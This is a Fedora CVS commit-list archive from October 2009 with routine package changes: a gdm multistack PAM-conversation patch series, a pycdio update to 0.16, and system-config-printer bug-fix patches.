 configure.ac                                                         |   15 
 daemon/gdm-factory-slave.c                                           |  103 
 daemon/gdm-greeter-server.c                                          |  187 +
 daemon/gdm-greeter-server.h                                          |   19 
 daemon/gdm-product-slave.c                                           |  263 +
 daemon/gdm-session-direct.c                                          | 1124 +++++---
 daemon/gdm-session-private.h                                         |   29 
 daemon/gdm-session-relay.c                                           |  190 +
 daemon/gdm-session-worker-job.c                                      |   73 
 daemon/gdm-session-worker-job.h                                      |    6 
 daemon/gdm-session-worker.c                                          |   20 
 daemon/gdm-session.c                                                 |  229 +
 daemon/gdm-session.h                                                 |   59 
 daemon/gdm-simple-slave.c                                            |  223 +
 daemon/test-session.c                                                |   22 
 gui/simple-greeter/Makefile.am                                       |   15 
 gui/simple-greeter/gdm-chooser-widget.c                              |    9 
 gui/simple-greeter/gdm-chooser-widget.h                              |    3 
 gui/simple-greeter/gdm-greeter-client.c                              |  209 +
 gui/simple-greeter/gdm-greeter-client.h                              |   18 
 gui/simple-greeter/gdm-greeter-login-window.c                        | 1111 ++++++-
 gui/simple-greeter/gdm-greeter-login-window.glade                    |  144 -
 gui/simple-greeter/gdm-greeter-login-window.h                        |   21 
 gui/simple-greeter/gdm-greeter-session.c                             |  133 
 gui/simple-greeter/gdm-task-list.c                                   |  228 +
 gui/simple-greeter/gdm-task-list.h                                   |   36 
 gui/simple-greeter/gdm-user-chooser-widget.c                         |   32 
 gui/simple-greeter/libgdmsimplegreeter/Makefile.am                   |    2 
 gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.c            |   51 
 gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.h            |   13 
 gui/simple-greeter/libgdmsimplegreeter/gdm-task.c                    |    6 
 gui/simple-greeter/libgdmsimplegreeter/gdm-task.h                    |    2 
 gui/simple-greeter/plugins/Makefile.am                               |    4 
 gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c   |   10 
 gui/simple-greeter/plugins/password/gdm-password-extension.c         |    7 
 gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c       |   35 
 po/POTFILES.in                                                       |    2 
 108 files changed, 9628 insertions(+), 1272 deletions(-)

View full diff with command:
/usr/bin/cvs -n -f diff -kk -u -p -N -r 1.7 -r 1.8 gdm-multistack.patchIndex: gdm-multistack.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm-multistack.patch,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- gdm-multistack.patch	28 Oct 2009 15:15:41 -0000	1.7
+++ gdm-multistack.patch	28 Oct 2009 15:31:57 -0000	1.8
@@ -1,7 +1,18078 @@
+From dfa6b8d5ed60552f435c34c47bc45089fa3eef48 Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Fri, 20 Feb 2009 13:52:19 -0500
+Subject: [PATCH 07/54] Add a comment marking protected api in chooser
+
+The chooser widget has methods that only its
+subclasses are supposed to call.  We should
+mark them as such.
+---
+ gui/simple-greeter/gdm-chooser-widget.h |    2 ++
+ 1 files changed, 2 insertions(+), 0 deletions(-)
+
+diff --git a/gui/simple-greeter/gdm-chooser-widget.h b/gui/simple-greeter/gdm-chooser-widget.h
+index 578e613..7e3e59c 100644
+--- a/gui/simple-greeter/gdm-chooser-widget.h
++++ b/gui/simple-greeter/gdm-chooser-widget.h
+@@ -136,6 +136,8 @@ int            gdm_chooser_widget_get_number_of_items          (GdmChooserWidget
+ void           gdm_chooser_widget_activate_if_one_item         (GdmChooserWidget          *widget);
+ void           gdm_chooser_widget_propagate_pending_key_events (GdmChooserWidget          *widget);
+ 
++/* Protected
++ */
+ void           gdm_chooser_widget_loaded                       (GdmChooserWidget          *widget);
+ 
+ G_END_DECLS
+-- 
+1.6.5.1
+
+
+From 7b4e38d04e246d7dc4c446ed2a3c69fcc67257cb Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Fri, 6 Feb 2009 17:44:37 -0500
+Subject: [PATCH 08/54] Drop duplicated entry introspection output
+
+---
+ daemon/gdm-greeter-server.c |    1 -
+ 1 files changed, 0 insertions(+), 1 deletions(-)
+
+diff --git a/daemon/gdm-greeter-server.c b/daemon/gdm-greeter-server.c
+index 2e01d33..cecce83 100644
+--- a/daemon/gdm-greeter-server.c
++++ b/daemon/gdm-greeter-server.c
+@@ -752,7 +752,6 @@ do_introspect (DBusConnection *connection,
+                                "      <arg name=\"layout_name\" type=\"s\"/>\n"
+                                "    </signal>\n"
+                                "    <signal name=\"DefaultSessionNameChanged\">\n"
+-                               "    <signal name=\"DefaultSessionNameChanged\">\n"
+                                "      <arg name=\"session_name\" type=\"s\"/>\n"
+                                "    </signal>\n"
+                                "    <signal name=\"TimedLoginRequested\">\n"
+-- 
+1.6.5.1
+
+
+From 8d5ddd913f13581df1662730745c1d906772185e Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Mon, 2 Mar 2009 10:07:03 -0500
+Subject: [PATCH 09/54] Make lookup_item not warn when passing NULL for args
+
+gtk_tree_model_get doesn't like NULL, and we allow
+NULL for optional return values.
+
+We now check each argument for NULL and call
+gtk_tree_model_get individually N times (one for
+each argument) instead of just once.
+---
+ gui/simple-greeter/gdm-chooser-widget.c |   31 ++++++++++++++++++++++++-------
+ 1 files changed, 24 insertions(+), 7 deletions(-)
+
+diff --git a/gui/simple-greeter/gdm-chooser-widget.c b/gui/simple-greeter/gdm-chooser-widget.c
+index 2875456..cbd5072 100644
+--- a/gui/simple-greeter/gdm-chooser-widget.c
++++ b/gui/simple-greeter/gdm-chooser-widget.c
+@@ -2171,13 +2171,30 @@ gdm_chooser_widget_lookup_item (GdmChooserWidget *widget,
+         }
+         g_free (active_item_id);
+ 
+-        gtk_tree_model_get (GTK_TREE_MODEL (widget->priv->list_store), &iter,
+-                            CHOOSER_IMAGE_COLUMN, image,
+-                            CHOOSER_NAME_COLUMN, name,
+-                            CHOOSER_PRIORITY_COLUMN, priority,
+-                            CHOOSER_ITEM_IS_IN_USE_COLUMN, is_in_use,
+-                            CHOOSER_ITEM_IS_SEPARATED_COLUMN, is_separate,
+-                            -1);
++        if (image != NULL) {
++                gtk_tree_model_get (GTK_TREE_MODEL (widget->priv->list_store), &iter,
++                                    CHOOSER_IMAGE_COLUMN, image, -1);
++        }
++
++        if (name != NULL) {
++                gtk_tree_model_get (GTK_TREE_MODEL (widget->priv->list_store), &iter,
++                                    CHOOSER_NAME_COLUMN, name, -1);
++        }
++
++        if (priority != NULL) {
++                gtk_tree_model_get (GTK_TREE_MODEL (widget->priv->list_store), &iter,
++                                    CHOOSER_PRIORITY_COLUMN, priority, -1);
++        }
++
++        if (is_in_use != NULL) {
++                gtk_tree_model_get (GTK_TREE_MODEL (widget->priv->list_store), &iter,
++                                    CHOOSER_ITEM_IS_IN_USE_COLUMN, is_in_use, -1);
++        }
++
++        if (is_separate != NULL) {
++                gtk_tree_model_get (GTK_TREE_MODEL (widget->priv->list_store), &iter,
++                                    CHOOSER_ITEM_IS_SEPARATED_COLUMN, is_separate, -1);
++        }
+ 
+         return TRUE;
+ }
+-- 
+1.6.5.1
+
+
+From 57a0d19b8b1e5e7a2132b15ea2c536207b61f80f Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Fri, 6 Feb 2009 15:35:00 -0500
+Subject: [PATCH 10/54] Drop "stopped" signal from worker-job class
+
+It was unused, dead code.
+---
+ daemon/gdm-session-direct.c     |   14 --------------
+ daemon/gdm-session-worker-job.c |   11 -----------
+ daemon/gdm-session-worker-job.h |    1 -
+ 3 files changed, 0 insertions(+), 26 deletions(-)
+
+diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
+index 47a5778..b6abae4 100644
+--- a/daemon/gdm-session-direct.c
++++ b/daemon/gdm-session-direct.c
+@@ -1539,13 +1539,6 @@ gdm_session_direct_init (GdmSessionDirect *session)
+ }
+ 
+ static void
+-worker_stopped (GdmSessionWorkerJob *job,
+-                GdmSessionDirect    *session)
+-{
+-        g_debug ("GdmSessionDirect: Worker job stopped");
+-}
+-
+-static void
+ worker_started (GdmSessionWorkerJob *job,
+                 GdmSessionDirect    *session)
+ {
+@@ -1588,10 +1581,6 @@ start_worker (GdmSessionDirect *session)
+         session->priv->job = gdm_session_worker_job_new ();
+         gdm_session_worker_job_set_server_address (session->priv->job, session->priv->server_address);
+         g_signal_connect (session->priv->job,
+-                          "stopped",
+-                          G_CALLBACK (worker_stopped),
+-                          session);
+-        g_signal_connect (session->priv->job,
+                           "started",
+                           G_CALLBACK (worker_started),
+                           session);
+@@ -1613,9 +1602,6 @@ static void
+ stop_worker (GdmSessionDirect *session)
+ {
+         g_signal_handlers_disconnect_by_func (session->priv->job,
+-                                              G_CALLBACK (worker_stopped),
+-                                              session);
+-        g_signal_handlers_disconnect_by_func (session->priv->job,
+                                               G_CALLBACK (worker_started),
+                                               session);
+         g_signal_handlers_disconnect_by_func (session->priv->job,
+diff --git a/daemon/gdm-session-worker-job.c b/daemon/gdm-session-worker-job.c
+index 6723464..633d6e2 100644
+--- a/daemon/gdm-session-worker-job.c
++++ b/daemon/gdm-session-worker-job.c
+@@ -68,7 +68,6 @@ enum {
+ 
+ enum {
+         STARTED,
+-        STOPPED,
+         EXITED,
+         DIED,
+         LAST_SIGNAL
+@@ -390,16 +389,6 @@ gdm_session_worker_job_class_init (GdmSessionWorkerJobClass *klass)
+                               g_cclosure_marshal_VOID__VOID,
+                               G_TYPE_NONE,
+                               0);
+-        signals [STOPPED] =
+-                g_signal_new ("stopped",
+-                              G_OBJECT_CLASS_TYPE (object_class),
+-                              G_SIGNAL_RUN_FIRST,
+-                              G_STRUCT_OFFSET (GdmSessionWorkerJobClass, stopped),
+-                              NULL,
+-                              NULL,
+-                              g_cclosure_marshal_VOID__VOID,
+-                              G_TYPE_NONE,
[...17688 lines suppressed...]
++
++        stop_all_other_conversations (impl, conversation);
++
+         command = get_session_command (impl);
+         program = g_strdup_printf (GDMCONFDIR "/Xsession \"%s\"", command);
+         g_free (command);
+ 
+-        conversation = find_conversation_by_name (impl, service_name);
+-
+         setup_session_environment (impl);
+         send_environment (impl, conversation);
+ 
+@@ -2285,23 +2327,7 @@ gdm_session_direct_start_session (GdmSession *session,
+ static void
+ stop_all_conversations (GdmSessionDirect *session)
+ {
+-        GHashTableIter iter;
+-        gpointer key, value;
+-
+-        if (session->priv->conversations == NULL) {
+-                return;
+-        }
+-
+-        g_hash_table_iter_init (&iter, session->priv->conversations);
+-        while (g_hash_table_iter_next (&iter, &key, &value)) {
+-                GdmSessionConversation *conversation;
+-
+-                conversation = (GdmSessionConversation *) value;
+-
+-                stop_conversation (conversation);
+-        }
+-
+-        g_hash_table_remove_all (session->priv->conversations);
++        stop_all_other_conversations (session, NULL);
+ }
+ 
+ static void
+diff --git a/daemon/gdm-simple-slave.c b/daemon/gdm-simple-slave.c
+index 337718b..63ea82c 100644
+--- a/daemon/gdm-simple-slave.c
++++ b/daemon/gdm-simple-slave.c
+@@ -575,7 +575,7 @@ on_session_conversation_stopped (GdmSession     *session,
+         gboolean res;
+         g_debug ("GdmSimpleSlave: conversation stopped");
+ 
+-        if (slave->priv->greeter_server != NULL) {
++        if (slave->priv->greeter != NULL) {
+                 res = gdm_greeter_server_conversation_stopped (slave->priv->greeter_server,
+                                                                service_name);
+                 if (! res) {
+-- 
+1.6.5.1
+
+
+From 7f0b059434796ce2f352c8c72a5fa695c643fa04 Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Tue, 21 Apr 2009 15:30:28 -0400
+Subject: [PATCH 50/54] When one PAM conv. wins, actually stop the others
+
+We weren't properly keeping the winning conversation
+around in the previous commit
+---
+ daemon/gdm-session-direct.c |   13 ++++++++++---
+ 1 files changed, 10 insertions(+), 3 deletions(-)
+
+diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
+index 52a67c4..7cc5511 100644
+--- a/daemon/gdm-session-direct.c
++++ b/daemon/gdm-session-direct.c
+@@ -2282,13 +2282,20 @@ stop_all_other_conversations (GdmSessionDirect        *session,
+                 conversation = (GdmSessionConversation *) value;
+ 
+                 if (conversation == conversation_to_keep) {
+-                        continue;
++                        g_hash_table_iter_steal (&iter);
++                        g_free (key);
++                } else {
++                        stop_conversation (conversation);
+                 }
+-
+-                stop_conversation (conversation);
+         }
+ 
+         g_hash_table_remove_all (session->priv->conversations);
++
++        if (conversation_to_keep != NULL) {
++                g_hash_table_insert (session->priv->conversations,
++                                     g_strdup (conversation_to_keep->service_name),
++                                     conversation_to_keep);
++        }
+ }
+ 
+ static void
+-- 
+1.6.5.1
+
+
+From 189d1903462ccf6afbbddd9ccfdb79f0a8c2f099 Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Fri, 24 Jul 2009 14:41:48 -0400
+Subject: [PATCH 51/54] KILL pam stack instead of TERM pam stack
+
+Some PAM modules are really slow to shut down.
+We need to handle them being slow to shut down better,
+(by not blocking login on them shutting down etc), but
+in the mean time force them to die immediately.
+
+This is a temporary hack.
+---
+ daemon/gdm-session-worker-job.c |    2 +-
+ 1 files changed, 1 insertions(+), 1 deletions(-)
+
+diff --git a/daemon/gdm-session-worker-job.c b/daemon/gdm-session-worker-job.c
+index 0327d77..d99b8a5 100644
+--- a/daemon/gdm-session-worker-job.c
++++ b/daemon/gdm-session-worker-job.c
+@@ -320,7 +320,7 @@ gdm_session_worker_job_stop (GdmSessionWorkerJob *session_worker_job)
+ 
+         g_debug ("GdmSessionWorkerJob: Stopping job pid:%d", session_worker_job->priv->pid);
+ 
+-        res = gdm_signal_pid (session_worker_job->priv->pid, SIGTERM);
++        res = gdm_signal_pid (session_worker_job->priv->pid, SIGKILL);
+ 
+         if (res < 0) {
+                 g_warning ("Unable to kill session worker process");
+-- 
+1.6.5.1
+
+
+From 77fcb562d35226b77787899dc20432838e19c8ba Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Wed, 21 Oct 2009 16:08:52 -0400
+Subject: [PATCH 52/54] Don't show tasklist for autologin
+
+---
+ gui/simple-greeter/gdm-greeter-login-window.c |    5 +++++
+ 1 files changed, 5 insertions(+), 0 deletions(-)
+
+diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
+index fc12f36..8af5452 100644
+--- a/gui/simple-greeter/gdm-greeter-login-window.c
++++ b/gui/simple-greeter/gdm-greeter-login-window.c
+@@ -1189,6 +1189,11 @@ begin_auto_login (GdmGreeterLoginWindow *login_window)
+         set_message (login_window, _("Select language and click Log In"));
+ 
+         switch_mode (login_window, MODE_AUTHENTICATION);
++
++        show_widget (login_window, "conversation-list", FALSE);
++        gdm_task_list_foreach_task (GDM_TASK_LIST (login_window->priv->conversation_list),
++                                    (GdmTaskListForeachFunc) reset_task,
++                                    login_window);
+ }
+ 
+ static gboolean
+-- 
+1.6.5.1
+
+
+From 5926910dba8dfe78bef05ff4a21ae46b5cb69ffb Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Fri, 23 Oct 2009 17:39:19 -0400
+Subject: [PATCH 53/54] Drop the other hiding stuff for now.
+
+It depends on buttons being available that we don't have
+in the multi-stack branch.
+---
+ gui/simple-greeter/gdm-user-chooser-widget.c |    8 +-------
+ 1 files changed, 1 insertions(+), 7 deletions(-)
+
+diff --git a/gui/simple-greeter/gdm-user-chooser-widget.c b/gui/simple-greeter/gdm-user-chooser-widget.c
+index bff71e5..4d3c445 100644
+--- a/gui/simple-greeter/gdm-user-chooser-widget.c
++++ b/gui/simple-greeter/gdm-user-chooser-widget.c
+@@ -140,13 +140,7 @@ update_other_user_visibility (GdmUserChooserWidget *widget)
+                 return;
+         }
+ 
+-        number_of_users = gdm_chooser_widget_get_number_of_items (GDM_CHOOSER_WIDGET (widget));
+-
+-        /* we hide the Other user if it's the last one, and we show it
+-         * if there's another user */
+-        if (number_of_users == 1 && widget->priv->has_user_other) {
+-                remove_user_other (widget);
+-        } if (number_of_users >= 1 && !widget->priv->has_user_other) {
++        if (!widget->priv->has_user_other) {
+                 add_user_other (widget);
+         }
+ }
+-- 
+1.6.5.1
+
+
 From b773a74dec86ebf40941aa7ac1892c1329704ba3 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 28 Oct 2009 11:13:10 -0400
-Subject: [PATCH] Prevent start session signal handler from getting called multiple times
+Subject: [PATCH 54/54] Prevent start session signal handler from getting called multiple times
 
 It was causing a double free.
 ---



From jgreguske at fedoraproject.org  Wed Oct 28 15:39:48 2009
From: jgreguske at fedoraproject.org (Jay Greguske)
Date: Wed, 28 Oct 2009 15:39:48 +0000 (UTC)
Subject: rpms/pycdio/devel sources,1.2,1.3 pycdio.spec,1.2,1.3
Message-ID: <20091028153948.A1E1511C00E5@cvs1.fedora.phx.redhat.com>

Author: jgreguske

Update of /cvs/pkgs/rpms/pycdio/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15832

Modified Files:
	sources pycdio.spec 
Log Message:
updated to 0.16


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pycdio/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	29 Jul 2009 19:19:23 -0000	1.2
+++ sources	28 Oct 2009 15:39:48 -0000	1.3
@@ -1 +1 @@
-e072e6d0fff4850f3169f8be3def4888  pycdio-0.15.tar.gz
+bb2ffea5ae107e1e545f54f8bd9d6172  pycdio-0.16.tar.gz


Index: pycdio.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pycdio/devel/pycdio.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- pycdio.spec	28 Sep 2009 18:47:11 -0000	1.2
+++ pycdio.spec	28 Oct 2009 15:39:48 -0000	1.3
@@ -1,8 +1,8 @@
 %{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:		pycdio
-Version:	0.15
-Release:	4%{?dist}
+Version:	0.16
+Release:	1%{?dist}
 Summary:	A Python interface to the CD Input and Control library
 
 Group:		Development/Libraries
@@ -10,11 +10,6 @@ License:	GPLv3+
 URL:		http://www.gnu.org/software/libcdio/
 Source0:	ftp://ftp.gnu.org/pub/gnu/libcdio/%{name}-%{version}.tar.gz
 
-# Remove shebangs in the modules
-# a patch was emailed and accepted on libcdio-pycdio-devel at gnu.org
-Patch0:		pycdio-remove-shebangs.patch
-Patch1:		pycdio-remove-get-devices-compensation.patch
-
 BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildRequires:	python-devel,python-setuptools,libcdio-devel,swig
 Requires:	python
@@ -26,8 +21,6 @@ device-dependent properties of a CD-ROM 
 
 %prep
 %setup -q
-%patch0
-%patch1
 
 %build
 %{__python} setup.py build
@@ -46,6 +39,8 @@ rm -rf %{buildroot}
 %doc README.txt
 
 %changelog
+* Wed Oct 28 2009 Jay Greguske <jgregusk at redhat.com> - 0.16-1
+- Updated to version 0.16
 * Mon Sep 28 2009 Jay Greguske <jgregusk at redhat.com> - 0.15-4
 - Off-by-one compensation in get_devices_* not needed anymore
 * Tue Jul 28 2009 Jay Greguske <jgregusk at redhat.com> - 0.15-3



From jgreguske at fedoraproject.org  Wed Oct 28 15:42:05 2009
From: jgreguske at fedoraproject.org (Jay Greguske)
Date: Wed, 28 Oct 2009 15:42:05 +0000 (UTC)
Subject: rpms/pycdio/devel .cvsignore,1.2,1.3
Message-ID: <20091028154205.847B311C00E5@cvs1.fedora.phx.redhat.com>

Author: jgreguske

Update of /cvs/pkgs/rpms/pycdio/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16102

Modified Files:
	.cvsignore 
Log Message:
updated to 0.16


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pycdio/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	29 Jul 2009 19:19:22 -0000	1.2
+++ .cvsignore	28 Oct 2009 15:42:05 -0000	1.3
@@ -1 +1 @@
-pycdio-0.15.tar.gz
+pycdio-0.16.tar.gz



From twaugh at fedoraproject.org  Wed Oct 28 15:44:13 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Wed, 28 Oct 2009 15:44:13 +0000 (UTC)
Subject: rpms/system-config-printer/F-12
	system-config-printer-autoselect-raw.patch, NONE,
	1.1 system-config-printer-find-return-accel.patch, NONE,
	1.1 system-config-printer-network-model.patch, NONE,
	1.1 system-config-printer-physdev-traceback.patch, NONE,
	1.1 system-config-printer.spec, 1.299, 1.300
Message-ID: <20091028154413.EA54C11C00E5@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16495

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-autoselect-raw.patch 
	system-config-printer-find-return-accel.patch 
	system-config-printer-network-model.patch 
	system-config-printer-physdev-traceback.patch 
Log Message:
* Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
- Determine make/model for network printers (bug #524321).
- Auto-select the correct driver entry for raw queues.
- Avoid traceback in PhysicalDevice.py.
- Let Return key activate the Find button for Find Network Printer.


system-config-printer-autoselect-raw.patch:
 system-config-printer.py |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE system-config-printer-autoselect-raw.patch ---
diff -up system-config-printer-1.1.13/system-config-printer.py.autoselect-raw system-config-printer-1.1.13/system-config-printer.py
--- system-config-printer-1.1.13/system-config-printer.py.autoselect-raw	2009-09-30 16:54:07.363635374 +0100
+++ system-config-printer-1.1.13/system-config-printer.py	2009-09-30 16:54:19.189761633 +0100
@@ -3948,8 +3948,8 @@ class NewPrinterGUI(GtkGUI):
                  cupshelpers.ppds.ppdMakeModelSplit (makeandmodel)
             else:
                 # Special CUPS names for a raw queue.
-                self.auto_make = 'Raw'
-                self.auto_model = 'Queue'
+                self.auto_make = 'Generic'
+                self.auto_model = 'Raw Queue'
 
             try:
                 if self.dialog_mode == "ppd":

system-config-printer-find-return-accel.patch:
 NewPrinterWindow.glade |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE system-config-printer-find-return-accel.patch ---
diff -up system-config-printer-1.1.13/glade/NewPrinterWindow.glade.find-return-accel system-config-printer-1.1.13/glade/NewPrinterWindow.glade
--- system-config-printer-1.1.13/glade/NewPrinterWindow.glade.find-return-accel	2009-09-04 10:35:48.000000000 +0100
+++ system-config-printer-1.1.13/glade/NewPrinterWindow.glade	2009-09-30 16:50:36.981760810 +0100
@@ -2580,6 +2580,7 @@ DTR/DSR (Hardware)</property>
 						  <property name="relief">GTK_RELIEF_NORMAL</property>
 						  <property name="focus_on_click">True</property>
 						  <signal name="clicked" handler="on_btnNetworkFind_clicked" last_modification_time="Fri, 19 Dec 2008 16:04:53 GMT"/>
+						  <accelerator key="Return" modifiers="0" signal="activate"/>
 						</widget>
 						<packing>
 						  <property name="left_attach">2</property>

system-config-printer-network-model.patch:
 system-config-printer.py |    6 ++++++
 1 file changed, 6 insertions(+)

--- NEW FILE system-config-printer-network-model.patch ---
diff -up system-config-printer-1.1.13/system-config-printer.py.network-model system-config-printer-1.1.13/system-config-printer.py
--- system-config-printer-1.1.13/system-config-printer.py.network-model	2009-09-30 16:55:46.115760592 +0100
+++ system-config-printer-1.1.13/system-config-printer.py	2009-09-30 16:55:52.545635754 +0100
@@ -4217,6 +4217,12 @@ class NewPrinterGUI(GtkGUI):
                 if not self.install_hplip_plugin(self.device.uri):
                     self.on_NPCancel(None)
                     return
+
+                if not devid and self.device.type in ["socket", "lpd", "ipp"]:
+                    # This is a network printer whose model we don't yet know.
+                    # Try to discover it.
+                    self.getNetworkPrinterMakeModel ()
+
                 uri = self.device.uri
                 if uri and uri.startswith ("smb://"):
                     uri = SMBURI (uri=uri[6:]).sanitize_uri ()

system-config-printer-physdev-traceback.patch:
 PhysicalDevice.py |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE system-config-printer-physdev-traceback.patch ---
diff -up system-config-printer-1.1.13/PhysicalDevice.py.physdev-traceback system-config-printer-1.1.13/PhysicalDevice.py
--- system-config-printer-1.1.13/PhysicalDevice.py.physdev-traceback	2009-09-01 12:08:33.000000000 +0100
+++ system-config-printer-1.1.13/PhysicalDevice.py	2009-09-30 16:52:24.486760364 +0100
@@ -48,6 +48,8 @@ class PhysicalDevice:
                     hostport = ipparam[3:]
                 else:
                     return None
+            else:
+                return None
         else:
             (hostport, rest) = urllib.splithost (rest)
             if hostport == None:


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/F-12/system-config-printer.spec,v
retrieving revision 1.299
retrieving revision 1.300
diff -u -p -r1.299 -r1.300
--- system-config-printer.spec	22 Sep 2009 10:05:56 -0000	1.299
+++ system-config-printer.spec	28 Oct 2009 15:44:13 -0000	1.300
@@ -7,7 +7,7 @@
 Summary: A printer administration tool
 Name: system-config-printer
 Version: 1.1.13
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2+
 URL: http://cyberelk.net/tim/software/system-config-printer/
 Group: System Environment/Base
@@ -21,6 +21,10 @@ Patch3: system-config-printer-publish-pr
 Patch4: system-config-printer-iconify.patch
 Patch5: system-config-printer-fetchdevices.patch
 Patch6: system-config-printer-missing-import.patch
+Patch7: system-config-printer-find-return-accel.patch
+Patch8: system-config-printer-physdev-traceback.patch
+Patch9: system-config-printer-autoselect-raw.patch
+Patch10: system-config-printer-network-model.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -87,6 +91,10 @@ printers.
 %patch4 -p1 -b .iconify
 %patch5 -p1 -b .fetchdevices
 %patch6 -p1 -b .missing-import
+%patch7 -p1 -b .find-return-accel
+%patch8 -p1 -b .physdev-traceback
+%patch9 -p1 -b .autoselect-raw
+%patch10 -p1 -b .network-model
 
 %build
 %configure --with-udev-rules --with-polkit-1
@@ -198,6 +206,12 @@ rm -rf %buildroot
 exit 0
 
 %changelog
+* Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
+- Determine make/model for network printers (bug #524321).
+- Auto-select the correct driver entry for raw queues.
+- Avoid traceback in PhysicalDevice.py.
+- Let Return key activate the Find button for Find Network Printer.
+
 * Tue Sep 22 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-3
 - Fixed missing import in probe_printer module.
 - Fixed race when fetching device list (bug #521110).



From twaugh at fedoraproject.org  Wed Oct 28 15:45:34 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Wed, 28 Oct 2009 15:45:34 +0000 (UTC)
Subject: rpms/system-config-printer/F-11
	system-config-printer-no-cancel-properties-dialog.patch, NONE,
	1.1 system-config-printer.spec, 1.293, 1.294
Message-ID: <20091028154534.C631411C00E5@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16728

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-no-cancel-properties-dialog.patch 
Log Message:
* Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
- Don't display properties dialog for first test page (bug #531490).


system-config-printer-no-cancel-properties-dialog.patch:
 system-config-printer.py |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE system-config-printer-no-cancel-properties-dialog.patch ---
diff -up system-config-printer-1.1.13/system-config-printer.py.no-cancel-properties-dialog system-config-printer-1.1.13/system-config-printer.py
--- system-config-printer-1.1.13/system-config-printer.py.no-cancel-properties-dialog	2009-10-28 14:41:15.654017107 +0000
+++ system-config-printer-1.1.13/system-config-printer.py	2009-10-28 15:29:53.600140205 +0000
@@ -6815,8 +6815,9 @@ class NewPrinterGUI(GtkGUI):
             response = q.run ()
             q.destroy ()
             if response == gtk.RESPONSE_YES:
-                # Display the properties dialog.
+                # Load the printer details but hide the properties dialog.
                 self.mainapp.display_properties_dialog_for (name)
+                self.mainapp.PrinterPropertiesDialog.hide ()
 
                 # Click the test button.
                 self.mainapp.btnPrintTestPage.clicked ()


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/F-11/system-config-printer.spec,v
retrieving revision 1.293
retrieving revision 1.294
diff -u -p -r1.293 -r1.294
--- system-config-printer.spec	30 Sep 2009 15:57:07 -0000	1.293
+++ system-config-printer.spec	28 Oct 2009 15:45:34 -0000	1.294
@@ -7,7 +7,7 @@
 Summary: A printer administration tool
 Name: system-config-printer
 Version: 1.1.13
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2+
 URL: http://cyberelk.net/tim/software/system-config-printer/
 Group: System Environment/Base
@@ -23,6 +23,7 @@ Patch7: system-config-printer-find-retur
 Patch8: system-config-printer-physdev-traceback.patch
 Patch9: system-config-printer-autoselect-raw.patch
 Patch10: system-config-printer-network-model.patch
+Patch11: system-config-printer-no-cancel-properties-dialog.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -79,6 +80,7 @@ the configuration tool.
 %patch8 -p1 -b .physdev-traceback
 %patch9 -p1 -b .autoselect-raw
 %patch10 -p1 -b .network-model
+%patch11 -p1 -b .no-cancel-properties-dialog
 
 %build
 %configure
@@ -180,6 +182,9 @@ rm -rf %buildroot
 exit 0
 
 %changelog
